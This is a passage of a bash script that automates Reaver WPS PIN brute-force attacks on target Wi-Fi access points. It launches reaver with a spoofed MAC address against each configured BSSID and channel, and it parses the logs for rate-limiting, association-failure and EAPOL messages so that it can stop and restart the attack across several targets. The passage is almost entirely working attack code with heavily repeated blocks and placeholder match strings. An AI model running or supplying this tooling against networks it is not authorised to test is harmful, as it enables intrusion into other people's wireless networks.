if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R5 == n || $USE_R5 == N ]] && [[ $USE_LONG5 == y || $USE_LONG5 == Y ]] && [[ $USE_PIN5 == y || $USE_PIN5 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN5 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R5 == y || $USE_R5 == Y ]] && [[ $USE_LONG5 == y || $USE_LONG5 == Y ]] && [[ $USE_PIN5 == y || $USE_PIN5 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX5" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY5"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -r $RX5:$RY5 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN5 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE5 == n ] || [ $KEEP_FILE5 == N ]; then

          rm VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R6 == n || $USE_R6 == N ]] && [[ $USE_LONG6 == n || $USE_LONG6 == N ]] && [[ $USE_PIN6 == n || $USE_PIN6 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R6 == y || $USE_R6 == Y ]] && [[ $USE_LONG6 == n || $USE_LONG6 == N ]] && [[ $USE_PIN6 == n || $USE_PIN6 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX6" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY6"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -vv -x 60 -r $RX6:$RY6 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

